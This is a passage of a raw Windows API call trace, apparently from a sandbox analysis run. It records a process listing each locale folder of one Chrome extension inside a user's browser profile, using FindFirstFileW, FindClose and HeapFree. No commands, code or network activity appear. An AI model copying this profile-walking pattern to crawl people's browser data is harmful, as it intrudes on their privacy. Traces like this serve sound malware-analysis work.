ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0278.337] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0278.337] GetProcessHeap () returned 0x550000 [0278.337] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0278.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ac3e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826b1200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826b1200, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0278.338] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0278.338] GetProcessHeap () returned 0x550000 [0278.338] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0278.338] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826b8730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826bae40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826bae40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0278.338] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0278.338] GetProcessHeap () returned 0x550000 [0278.338] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0278.338] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826c2370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826c7190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826c7190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0278.339] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0278.339] GetProcessHeap () returned 0x550000 [0278.339] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0278.339] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ce6c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826d0dd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826d0dd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0278.340] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0278.340] GetProcessHeap () returned 0x550000 [0278.340] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0278.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826d8300, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826df830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826df830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0278.341] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0278.341] GetProcessHeap () returned 0x550000 [0278.341] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0278.341] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826e9470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826ebb80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826ebb80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0278.341] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0278.341] GetProcessHeap () returned 0x550000 [0278.341] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0278.341] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826f30b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826f7ed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826f7ed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0278.390] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0278.390] GetProcessHeap () returned 0x550000 [0278.390] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0278.390] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ff400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82701b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82701b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0278.390] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0278.390] GetProcessHeap () returned 0x550000 [0278.390] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0278.390] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82709040, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8270de60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8270de60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0278.484] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0278.484] GetProcessHeap () returned 0x550000 [0278.485] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0278.485] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82715390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82717aa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82717aa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0278.485] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0278.485] GetProcessHeap () returned 0x550000 [0278.485] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0278.485] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8271efd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827216e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827216e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.494] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.494] GetProcessHeap () returned 0x550000 [0278.494] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0278.494] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82728c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8272da30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8272da30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.494] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.494] GetProcessHeap () returned 0x550000 [0278.494] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.494] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827412b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827439c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827439c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.638] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.638] GetProcessHeap () returned 0x550000 [0278.638] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.638] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8274aef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8274d600, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8274d600, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.639] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.639] GetProcessHeap () returned 0x550000 [0278.639] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.639] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82752420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82752420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82752420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.648] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.648] GetProcessHeap () returned 0x550000 [0278.648] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.648] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82759950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8275c060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8275c060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.648] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.648] GetProcessHeap () returned 0x550000 [0278.648] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.648] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82763590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82765ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82765ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.650] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.650] GetProcessHeap () returned 0x550000 [0278.650] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8276d1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8276f8e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8276f8e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.650] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.650] GetProcessHeap () returned 0x550000 [0278.650] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82776e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82779520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82779520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.651] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.651] GetProcessHeap () returned 0x550000 [0278.652] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.652] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8277e340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82783160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82783160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.652] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.652] GetProcessHeap () returned 0x550000 [0278.652] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.652] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82787f80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8278a690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8278a690, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.653] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.653] GetProcessHeap () returned 0x550000 [0278.653] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.653] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82791bc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827942d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827942d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.653] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.656] GetProcessHeap () returned 0x550000 [0278.656] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.656] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8279b800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8279df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8279df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.657] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.657] GetProcessHeap () returned 0x550000 [0278.657] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.657] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827a2d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827a5440, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827a5440, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.658] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.658] GetProcessHeap () returned 0x550000 [0278.658] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.658] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827aa260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827af080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827af080, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.659] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.659] GetProcessHeap () returned 0x550000 [0278.659] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.659] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827b3ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827b65b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827b65b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0278.659] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0278.659] GetProcessHeap () returned 0x550000 [0278.659] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0278.659] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827c7720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827cc540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 